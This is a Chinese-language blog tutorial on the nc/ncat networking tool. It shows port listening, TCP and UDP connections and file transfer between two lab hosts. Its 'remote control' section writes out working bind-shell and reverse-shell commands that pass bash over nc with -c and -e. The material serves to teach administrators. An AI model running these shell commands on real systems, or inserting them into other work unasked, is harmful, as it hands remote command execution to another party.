nc命令簡介

Pyerlife發表於2018-06-21

nc介紹

ncat/nc 既是一個埠掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。

在大多數 Debian 發行版中,nc 是預設可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 並不會預設被安裝。 需要用下列命令手工安裝。

yum install nmap-ncat -y
  • 監聽埠

    使用-l選指定監聽埠,加上-v選項顯示詳細資訊
[root@host_1 ~]# nc -lv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
  • 連線埠

    nc預設就是連線埠,-v顯示詳細資訊,-u連線udp埠
[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.

檢視系統開啟的udp埠

[root@host_1 ~]# netstat -unlp 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp        0      0 0.0.0.0:3139            0.0.0.0:*                           691/dhclient        
udp        0      0 127.0.0.1:323           0.0.0.0:*                           640/chronyd         
udp        0      0 0.0.0.0:68              0.0.0.0:*                           691/dhclient        
udp6       0      0 :::45845                :::*                                691/dhclient        
udp6       0      0 ::1:323                 :::*                                640/chronyd 

連線udp埠

[root@host_2 ~]# nc -vu 192.168.159.134 3139
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:3139.
  • 傳輸檔案

在埠已連線的基礎上,可以進行檔案傳輸。

  • 主機1作為接受端開啟埠
[root@host_1 testdir]# nc -lv 1234 > receive.txt

主機2上連線埠並傳輸檔案
[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.

  • 遠端控制

    現有host_1 host_2兩臺主機,演示host_2控制Host_1
host_1 192.168.159.134
host_2 192.168.159.130
  • 正向控制

host_1執行:

[root@host_1 testdir]# nc -l 1234 -c bash

host_2執行:

[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
hostname
host_1

nc命令通過建立的連線將bash傳遞給對方。上面host_2連線成功後,執行hostname命令返回host_1主機名,表示已成功控制host_1

由於正向控制是在被控端開啟埠,所以若存在防火牆很有可能無法連線成功

  • 反向連線

主機host_2監聽埠
[root@host_2 ~]# nc -l 1234
主機host_1連線埠並推送bash
[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash) Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.130:1234.
控制端主機開啟埠監聽,被控端主動連線埠並推送bash到控制端。

  • nc傳輸加密

由於nc使用明文進行傳輸資料,所以引入ncat命令。ncat命令使用--ssl選項表示開啟ssl管道加密傳輸。